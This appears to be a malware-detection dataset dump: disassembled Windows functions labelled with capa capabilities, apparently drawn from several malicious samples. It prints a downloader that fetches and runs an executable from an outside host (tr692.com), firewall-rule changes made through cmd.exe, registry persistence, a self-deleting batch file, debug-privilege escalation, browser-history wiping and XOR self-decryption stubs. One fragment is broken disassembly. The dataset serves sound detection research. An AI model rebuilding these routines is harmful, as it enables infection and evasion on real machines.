joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407e17
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x407e86
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x407e62
push ebx
push edi
push eax
call fcn.0040ba60
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x407e7d
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x41159b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4115aa
pop dword [ebp - 0x18]
mov eax, 0xb31e7e66
add eax, 0x4d229744
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x428a2
push 0
mov eax, 0xd1bab856
add eax, 0x2e8729d6
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xb763bea7
add ecx, 0x489c9cd8
mov edx, eax
mov ebx, 0xe8b3f4b0
sub ebx, 0xe87042b0
add ebx, dword [ebp - 0x18]
mov edi, 0x1f7b2d9a
sub edi, 0x10a90291
add dword [ebp - 0xc], eax
mov esi, dword [ebx]
add dword [ebp - 8], 0x8e849233
xor esi, edi
sub dword [ebp - 0xc], edi
mov dword [edx], esi
xor dword [ebp - 8], eax
add edx, 0x30342ffe
add edx, 0xcfcbd006
add ebx, 0xd7d401a9
sub ebx, 0xd7d401a5
loop 0x411609
add eax, 0x5d48ef5d
add eax, 0xa2b87172
mov ebx, eax
add eax, 0xe193f051
sub eax, 0xe193f04c
mov ecx, 0x1ff8bf80
add ecx, 0xe0474080
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x347ea89f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x347765c8]
jne 0x347eb289
ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x347ee7f0], eax
mov dword [0x347ee7ec], ecx
mov dword [0x347ee7e8], edx
mov dword [0x347ee7e4], ebx
mov dword [0x347ee7e0], esi
mov dword [0x347ee7dc], edi
mov word [0x347ee808], ss
mov word [0x347ee7fc], cs
mov word [0x347ee7d8], ds
mov word [0x347ee7d4], es
mov word [0x347ee7d0], fs
mov word [0x347ee7cc], gs
pushfd
pop dword [0x347ee800]
mov eax, dword [ebp]
mov dword [0x347ee7f4], eax
mov eax, dword [ebp + 4]
mov dword [0x347ee7f8], eax
lea eax, [ebp + 8]
mov dword [0x347ee804], eax
mov eax, dword [ebp - 0x320]
mov dword [0x347ee740], 0x10001
mov eax, dword [0x347ee7f8]
mov dword [0x347ee6f4], eax
mov dword [0x347ee6e8], 0xc0000409
mov dword [0x347ee6ec], 1
mov eax, dword [0x347765c8]
mov dword [ebp - 0x328], eax
mov eax, dword [0x347ed254]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x347ee738], eax
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x3477694c
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x347ee738], 0
jne 0x347eb379
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2a0]
sub esp, 0x320
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x29c], eax
mov eax, dword [ebp + 0x2a8]
push ebx
push esi
push edi
push 0xa
pop ecx
mov esi, str.SYSTEMControlSet001_servicesV3_Service
lea edi, [ebp + 0x94]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
push 0xda
mov dword [ebp - 0x7c], eax
lea eax, [ebp + 0xbe]
push ebx
push eax
mov dword [ebp - 0x78], ebx
movsw word es:[edi], word [esi]
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x74]
push eax
push 0xf003f
push ebx
lea eax, [ebp + 0x94]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010fa
mov esi, 0x104
push esi
lea eax, [ebp - 0x70]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
lea eax, [ebp + 0x199]
push ebx
push eax
mov byte [ebp + 0x198], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x198]
push eax
push ebx
push ebx
push str.ImagePath
push dword [ebp - 0x74]
mov dword [ebp - 0x80], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4010fa
lea eax, [ebp + 0x198]
push 0x22
push eax
call dword [sym.imp.MSVCR90.dll_strrchr]
pop ecx
pop ecx
cmp eax, ebx
je 0x4010dc
mov byte [eax], bl
mov edx, dword [ebp - 0x7c]
lea eax, [ebp + 0x199]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x4010e9
mov dword [ebp - 0x78], 1
cmp dword [ebp - 0x74], ebx
pop edi
pop esi
pop ebx
je 0x40110b
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x29c]
mov eax, dword [ebp - 0x78]
xor ecx, ebp
call fcn.00401995
add ebp, 0x2a0
leave
ret

Function at 0x401123
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0xf013f
xor ebx, ebx
push ebx
mov edi, str.SOFTWARENetWorkProNT32
push edi
mov esi, 0x80000002
push esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40118d
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
mov esi, str.LOCAL_Value
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401181
mov dword [ebp - 0xc], 1
jmp 0x4011c8
push 4
lea eax, [ebp - 8]
push eax
push 4
push ebx
push esi
jmp 0x4011b8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20106
push ebx
push ebx
push ebx
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4011c8
push 4
lea eax, [ebp - 8]
push eax
push 4
push ebx
push str.LOCAL_Value
push dword [ebp - 4]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], ebx
pop edi
pop esi
pop ebx
je 0x4011d9
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4011de
Capabilities:
Create process on windows

Disassembly:
call fcn.00401123
test eax, eax
je 0x4011ea
xor eax, eax
ret
push esi
push edi
push 0x7d0
xor edi, edi
push edi
mov esi, 0x4044d8
push esi
call sub.MSVCR90.dll_memset
push str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
push esi
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x14
push edi
push edi
push esi
push str.cmd.exe
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop edi
inc eax
pop esi
ret

Function at 0x40122f
Capabilities:
Create process on windows
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x190], eax
push ebx
push esi
push edi
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp - 0x77]
push ebx
push eax
xor edi, edi
mov byte [ebp - 0x78], bl
call sub.MSVCR90.dll_memset
push esi
lea eax, [ebp + 0x8d]
push ebx
push eax
mov byte [ebp + 0x8c], bl
call sub.MSVCR90.dll_memset
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x80], ebx
call section..text
add esp, 0x1c
test eax, eax
je 0x401324
call fcn.004011de
lea eax, [ebp - 0x7c]
push eax
push 0xf013f
push ebx
push str.SOFTWARENetWorkProNT32
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401314
push 0x104
lea eax, [ebp + 0x8c]
push ebx
push eax
call sub.MSVCR90.dll_memset
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
push ebx
push ebx
lea eax, [ebp + 0x8c]
push eax
push str.cmd.exe
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 4
lea eax, [ebp - 0x80]
push eax
push 4
push ebx
push str.LOCAL_Value
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor edi, edi
inc edi
cmp dword [ebp - 0x7c], ebx
je 0x401322
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov ecx, dword [ebp + 0x190]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401995
add ebp, 0x194
leave
ret
Function at 0x40133c
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x2d0]
sub esp, 0x350
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x2cc], eax
push ebx
push esi
push edi
push 0xd
pop ecx
mov esi, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___s_
lea edi, [ebp + 0x294]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp + 0x190]
movsb byte es:[edi], byte [esi]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.unmtotal.bat
lea eax, [ebp + 0x190]
push eax
push str._s_s
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x10
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov cl, byte [ebp + eax + 0x8c]
mov byte [ebp + eax - 0x78], cl
inc eax
cmp cl, bl
jne 0x4013b1
lea eax, [ebp - 0x78]
push 0x5c
push eax
call dword [sym.imp.MSVCR90.dll_strrchr]
pop ecx
pop ecx
cmp eax, ebx
je 0x4013d5
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4014b8
lea eax, [ebp + 0x294]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401406
sub eax, edx
lea ecx, [ebp + 0x8c]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x40141a
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40142c
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call dword [sym.imp.MSVCR90.dll_malloc]
push esi
mov edi, eax
push ebx
push edi
call sub.MSVCR90.dll_memset
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
lea eax, [ebp + 0x294]
push eax
push edi
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, edi
add esp, 0x24
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401474
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x4014b8
push edi
call dword [sym.imp.MSVCR90.dll_free]
pop ecx
mov ecx, dword [ebp + 0x2cc]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401995
add ebp, 0x2d0
leave
ret
Function at 0x4014d0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4014f1
xor eax, eax
leave
ret
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4014ed
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4014ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x514
setne cl
mov eax, ecx
leave
ret
Function at 0x40154d
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x52c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov dword [ebp - 0x524], ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x524]
push eax
push 0x4031a8
push 3
push ebx
push str._J7_
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, ebx
mov dword [ebp - 0x528], eax
jl 0x4015b4
mov eax, dword [ebp - 0x524]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 0x524]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea eax, [ebp - 0x514]
push eax
push 0xf003f
push ebx
push str.SoftwareMicrosoftInternet_ExplorerTypedURLs
push 0x80000001
mov dword [ebp - 0x514], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40170a
mov edi, 0x103
push edi
lea eax, [ebp - 0x10f]
push ebx
push eax
mov dword [ebp - 0x518], ebx
mov byte [ebp - 0x110], bl
call sub.MSVCR90.dll_memset
mov esi, 0x400
push esi
lea eax, [ebp - 0x510]
push ebx
push eax
mov dword [ebp - 0x51c], 0x104
mov dword [ebp - 0x520], esi
call sub.MSVCR90.dll_memset
add esp, 0x18
lea eax, [ebp - 0x520]
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x52c]
push eax
push ebx
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x110]
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
push dword [ebp - 0x514]
call ebx
cmp eax, edi
je 0x401708
lea eax, [ebp - 0x510]
push str.po557
push eax
call dword [sym.imp.MSVCR90.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x40169d
lea eax, [ebp - 0x510]
push str.tr692
push eax
call dword [sym.imp.MSVCR90.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x4016b0
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x514]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc dword [ebp - 0x518]
push esi
lea eax, [ebp - 0x510]
push 0
push eax
mov dword [ebp - 0x51c], 0x104
mov dword [ebp - 0x520], esi
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x518]
jmp 0x40165d
xor ebx, ebx
cmp dword [ebp - 0x514], ebx
je 0x40171e
push dword [ebp - 0x514]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x528]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401995
leave
ret
Function at 0x401733
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x401761
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 2
jl 0x40173f
jmp 0x4017be
push 0x40340c
push dword [ebp + 0xc]
call dword [sym.imp.MSVCR90.dll_fopen]
mov edi, eax
pop ecx
pop ecx
cmp edi, esi
je 0x4017b3
push 2
push esi
push edi
call dword [sym.imp.MSVCR90.dll_fseek]
push edi
call dword [sym.imp.MSVCR90.dll_ftell]
push edi
mov ebx, eax
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 0x14
cmp ebx, 0x1f40
jbe 0x4017b3
push esi
push esi
push esi
push dword [ebp + 0xc]
xor ebx, ebx
push str.open
push esi
inc ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x4017b5
xor ebx, ebx
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret
Function at 0x4017c5
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x230], 0
xor eax, eax
cmp dword [ebp + 8], 0x40
push esi
push edi
lea edi, [ebp - 0x23]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x24]
mov esi, str.aso64.exe
je 0x401800
mov esi, str.aso32.exe
movsd dword es:[edi], dword [esi]
push ebx
mov ebx, 0x104
push ebx
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x22c]
push 0
push eax
movsw word es:[edi], word [esi]
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x78
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x22c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x10]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40185f
lea edi, [ebp - 0x22c]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40186f
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
lea eax, [ebp - 0x128]
and ecx, 3
push 0
push eax
rep movsb byte es:[edi], byte [esi]
call sub.MSVCR90.dll_memset
add esp, 0xc
push 6
pop ecx
mov esi, str.http:__tr692.com_11111_
lea edi, [ebp - 0x128]
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x128]
dec edi
pop ebx
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4018af
mov esi, 0x403410
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x24]
movsb byte es:[edi], byte [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018c4
lea edi, [ebp - 0x128]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4018d4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x128]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401733
pop ecx
pop ecx
pop edi
pop esi
test eax, eax
je 0x401911
mov dword [ebp - 0x230], 1
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x230]
xor ecx, ebp
call fcn.00401995
leave
ret

Function at 0x401995
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40199f
repz ret
jmp fcn.00401cc5
Function at 0x40b9b7
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x429050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 6
pop ebx
mov edi, 0x94
push edi
lea eax, [ebp - 0x98]
push 0
push eax
mov dword [esi], ebx
call fcn.0041d8a0
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], edi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
xor edi, edi
inc edi
test eax, eax
je 0x40ba55
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
mov dword [esi + 0xc], ecx
mov dword [esi + 0x10], eax
cmp ecx, ebx
jne 0x40ba46
test eax, eax
jne 0x40ba20
mov dword [esi], edi
jmp 0x40ba55
cmp eax, edi
jne 0x40ba2c
mov dword [esi], 2
jmp 0x40ba55
cmp eax, 2
jne 0x40ba39
mov dword [esi], 3
jmp 0x40ba55
cmp eax, 3
jne 0x40ba55
mov dword [esi], 4
jmp 0x40ba55
cmp ecx, 0xa
jne 0x40ba55
test eax, eax
jne 0x40ba55
mov dword [esi], 5
push 0x405228
xor ebx, ebx
push 0x405238
mov dword [ebp - 0x9c], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42afa8], eax
test eax, eax
je 0x40baab
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x42afa8]
test eax, eax
jne 0x40baab
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x40baa9
and eax, 0xffff
or eax, 0x80070000
mov ebx, eax
mov eax, dword [ebp - 0x9c]
mov dword [esi + 4], eax
test ebx, ebx
jne 0x40bac4
xor ecx, ecx
test eax, eax
sete cl
mov dword [esi + 8], ecx
jmp 0x40baca
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, esi
pop ebx
call fcn.00418ef1
leave
ret

Function at 0x40ed86
Capabilities:
Inspect section memory permissions

Disassembly:
jne 0x40ed94
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x40f070
test bh, dl
add al, byte [eax]
add bh, bh
mov ch, 0x4c
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.0040e7e8
add esp, 0xc
Function at 0x424290
Capabilities:
Hash data using sha256

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x429050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 0x24]
push edi
mov ecx, ebx
and ecx, 0x3f
mov edi, 0x40
sub edi, ecx
cmp edi, 8
mov dword [ebp - 0x50], eax
ja 0x4242c5
add edi, 0x40
lea edx, [edi - 8]
push edx
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.0041d8a0
mov ecx, dword [esi + 0x20]
add ecx, ecx
add ecx, ecx
add ecx, ecx
mov edx, ebx
shr edx, 0x1d
or ecx, edx
add esp, 0xc
mov dword [ebp - 0x58], ecx
push 2
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp + edi - 0x54]
lea eax, [ebx*8]
push edx
mov byte [ebp - 0x4c], 0x80
mov dword [ebp - 0x54], eax
call fcn.00424380
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
call fcn.00424180
mov ecx, dword [ebp - 0x50]
push 8
push esi
push ecx
call fcn.00424380
xor eax, eax
push 0x40
mov dword [esi], 0x6a09e667
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
push eax
add esi, 0x28
push esi
call fcn.0041d8a0
mov ecx, dword [ebp - 4]
add esp, 0xc
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418ef1
mov esp, ebp
pop ebp
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx